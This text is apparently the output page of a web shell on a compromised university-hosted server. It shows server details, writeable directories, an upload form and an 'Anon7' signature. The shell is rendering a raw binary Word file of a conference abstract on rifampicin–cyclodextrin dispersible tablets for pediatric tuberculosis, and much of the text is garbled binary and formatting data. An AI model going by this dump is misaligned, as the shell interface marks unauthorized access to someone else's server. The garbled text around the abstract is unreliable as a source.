KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.4.62
System : FreeBSD fbsdweb2.web.rcn.net 14.1-RELEASE FreeBSD 14.1-RELEASE releng/14.1-n267679-10e31f0946d8 GENERIC amd64
User : www ( 80)
PHP Version : 8.3.8
Disable Function : NONE
Directory :  /domains/abtechsci/mmc15/uploads/130513/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /domains/abtechsci/mmc15/uploads/130513/Kunnaz MURZAGULOVA_abstract_one.docx.doc
��ࡱ�>��	02����/�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������q`��#bjbjqPqP?&::�	�������������������4���j������	�	�	�������$ht�E��	�	�	�	�	�����\����	~�������	��������pw�W�P��/:��r0��i��<��,��	�	�	
�	�	�	��	�	�	�	����������������������DEVELOPMENT OF ANTI-TUBERCULOUS DRUGS FOR PEDIATRICS BASED ON  
                               RIFAMPICIN COMPLEX WITH �-CYCLODEXTRIN 
                       
                            Kunnaz MURZAGULOVA,  Valentina SHNAUKTA, Marina KIM

                Romat� Pharmaceutical company, Pavlodar, 140011, Republic of Kazakhstan

      Tuberculosis remains one of the main diseases that affect children in the world. However, there are no effective and safe drugs for pediatrics practically on the market. Rifampicin and isoniazid are the main drugs to treat tuberculosis. They are the most toxic, LD50 in mice are 500 mg/kg and 133 mg/kg respectively. They are mainly used in fixed-dose combination.
      In fixed � dose combinations it is necessary to provide the absence of the contact of active substances in tablet, their separate release and absorption in various sections of the gastrointestinal tract (GIT). At the simultaneous presence in acid media of the stomach, they interact with each other to form a highly toxic hydrazone.
       The literature describes macromolecular rifampicin complexes with different cyclodextrins, leading to an increase of its stability and efficiency. The solubility of rifampicin from the complex with �-cyclodextrin does not change practically, which affected the absence of further research to develop drugs based on it.
       The aim of this work is the modification of the macromolecular rifampicin complex and �-cyclodextrin of different polymer brands, providing rifampicin  dissolution in the areas of GIT with pH> 4, with the development of dispersible tablets of rifampicin / isoniazid  for pediatrics. 
      It has been developed a industrial method of rifampicin complex  with �-cyclodextrin Obtained &(|~��		<	>	Z	�	�	�	�	�	���ͻ���vdUIUIU7"hU�hpx�6�CJ]�aJmH	sH	h�{KCJaJmH	sH	hU�hpx�CJaJmH	sH	"h�{KhBW5�CJ\�aJmH	sH	"hU�hBW5�CJ\�aJmH	sH	"h�whBW5�CJ\�aJmH	sH	hBW5�CJ\�aJmH	sH	"h8�hBW5�CJ\�aJmH	sH	"h8�hpx�5�CJ\�aJmH	sH	"hBWhBW5�CJ\�aJmH	sH	"h8�h8�5�CJ\�aJmH	sH	hpx�5�CJ\�aJmH	sH	�	>	�	�	H
I
�
�8!#�������������$a$gdT�$a$gd�A�$a$gd�A�$a$gd�m
$dha$gdBW$a$gdBW$dha$
#��	






'
1
9
:
<
=
G
H
I
O
y
�
@ADEHIMNUWYZ���������������ͺ������������kY"hpx�B*CJH*aJmH	phsH	(hYbEhpx�B*CJH*aJmH	phsH	%h\Whpx�B*CJaJmH	phsH	hYbEhpx�CJaJmH	sH	h0�CJaJmH	sH	hpx�CJaJmH	sH	%h�whpx�B*CJaJmH	phsH	h�whpx�CJaJmH	sH	"h\Whpx�6�CJ]�aJmH	sH	"h�whpx�6�CJ]�aJmH	sH	Z��������������������������������������	
)*,-35:;CDKLOPZ[]^ef����������������;����������������������������������������������������hpx�CJaJmH	sH	h�Bhpx�CJaJmH	sH	hU�hpx�CJaJmH	sH	%hU�hpx�B*CJaJmH	phsH	hpx�B*CJaJmH	phsH	Ffnoqruv������������������������
�
�
�
�
�
 <T��*.08��������������������������������²ҲҟҌ�ҲҲ}�}�h�hpx�CJaJmH	sH	%h�hpx�B*CJaJmH	phsH	%h�Bhpx�B*CJaJmHphsHhpx�B*CJaJmH	phsH	h8�B*CJaJmH	phsH	%h�Bhpx�B*CJaJmH	phsH	h�Bhpx�CJaJmH	sH	hpx�CJaJmH	sH	18����.hnpz�� 68D^npt�����������  ! e � � � � � � � 
!!=!>!G!o!x!�!�!�!�!�!�!������������������ֻ�ʻ�ʻֻʻֻ��ֻ��ֻֻֻֻֻֻ�ֻֻֻֻ�h+h�hpx�CJaJmH	sH	Uh�mhpx�CJaJmHsHh�mhpx�CJaJmH	sH	h8�CJaJmH	sH	hpx�CJaJmH	sH	h�hpx�CJaJmHsHh�hpx�CJaJmH	sH	<complexes were investigated with IR spectroscopy, Differential Scanning Calorimetry, X-ray diffraction, Scanning Electron Microscopy. It is found that the complex formation passes through the piperazine fragment of rifampicin molecule responsible for its stability. 
       To provide controlled release of rifampicin from the drug, rifampicin / cyclodextrin complex has been treated with Eudragit polymer of corresponding brand and Polyplasdon XL-10.       Biopharmaceutical studies in vitro of new drug have shown that  rifampicin is fully released and dissolved at the required values pH of the medium. Preclinical safety studies of the drug demonstrated that LD50 in mice and rats is 5000 mg / kg. The bioavailability of rifampicin and isoniazid in mice is nearly 100%.
�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!"""	"<"K"j"q"y"�"�"�"�"�"�"�"�"�"##���ʾʾʾʾʾʾʲʾʾ�ʾʾʾʣ�{���ʾ(hmxhpx�B*CJH*aJmH	phsH	%hmxhpx�B*CJaJmH	phsH	hmxhpx�CJaJmH	sH	h8�CJaJmH	sH	hpx�CJaJmH	sH	h+h�hpx�CJaJmH	sH	h�mhpx�CJaJmH	sH	h0�CJaJmH	sH	hJfCJaJmH	sH	&=0&P1�FP:p_h���/ ��=!��"��#��$��%���������J@�J_s1KG=K9 CJPJ_HaJmHnHsHtHv@v_s03>;>2>: 4"$
�dh1$7$8$@&H$#5�B*CJPJ\�aJmH	ph�sH	BA@�BA=>2=>9 H@8DB 0170F0Xi�X1KG=0O B01;8F0�4�
l4�a�.k�.
5B A?8A:0^���^OLpHeading 4 Char*5�CJOJQJ\�^JaJmHnHsHtHrQ@r_sA=>2=>9 B5:AB 3$d�a$*5�CJOJPJQJ\�^JaJmH	sH	tHX��XOLpBody Text 3 Char CJPJ^JaJmHnHsHtHrC@"r_sA=>2=>9 B5:AB A >BABC?><$�dh`�a$CJaJmH	sH	b��1bOLpBody Text Indent Char CJPJ^JaJmHnHsHtH(�O�A(i&region^J2�O�Q2i&postal-code^J>U@�a>G%�8?5@AAK;:0>*B*^Jph��	&����@����HI�Ux��	�0���0���0���0���0���0���0���0���0���0���0���0���0���	Zf8�!#	
#
#�8�@�����������0�(	�
��B
�S����	?�����'�
>Hbo��������������OY\e������$/����)36Bai�����	�	�	�	�	�������	3333���	�	w,	

www���"E�z\W_s�&	�s	"
�4e@i�x
�w�X�&�6�m�h�m�[P�P7= �"�E#�M%�E&�M&i&^d+:,91�v57�_7�t8�Bq:DYbE�G'KG�{KvTM�eN�4Q2WBW�jWDo]0b�{b�6cUaeheJfOnOLpvypdiq�xr�es�Vt�Avmx�lx�yx$z�|}�~4i�y2�93�_h�G%�(�U��m�[q�T�,7�IL��d�@��|��|���NT�@~�����Zq�8�px�N�<C�
��w��n���0���)�WR��N�j#��n��
�@�Z0��r�C�N��?��Z��r��M��
��L�O�+h�|�uP�� �+�iV��#��A��A��f��@��	�	���JJ�	�	@����	@@@@@@@@��Unknown������������G���z ��Times New Roman5��Symbol3&���z ��ArialG5��
	�����h�MS Mincho-�3� fg7&����{ @�Calibri3���z ��Times"A����sG�sG�l'\�
 \�
 !���x���24d�	�	2�� �?���������������������O�2��MMC-15:2013 AbstractTemplateAnthony Guiseppi-ElieVPN����Oh��+'��0������	(4
T`l
x����� MMC-15:2013 AbstractTemplateAnthony Guiseppi-ElieNormalVPN2Microsoft Office Word@
�@`�U�O�@`S�P�@`S�P�\�����՜.��+,��0hp��������
���Clemson University 
�	�MMC-15:2013 AbstractTemplate	��������	

�������� !"#$%&����()*+,-.��������1����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������Root Entry��������	�F`��W�P�3�1Table��������WordDocument��������?&SummaryInformation(����DocumentSummaryInformation8������������'CompObj������������q������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������
����	�F�������� Microsoft Office Word
MSWordDocWord.Document.8�9�q

Anon7 - 2021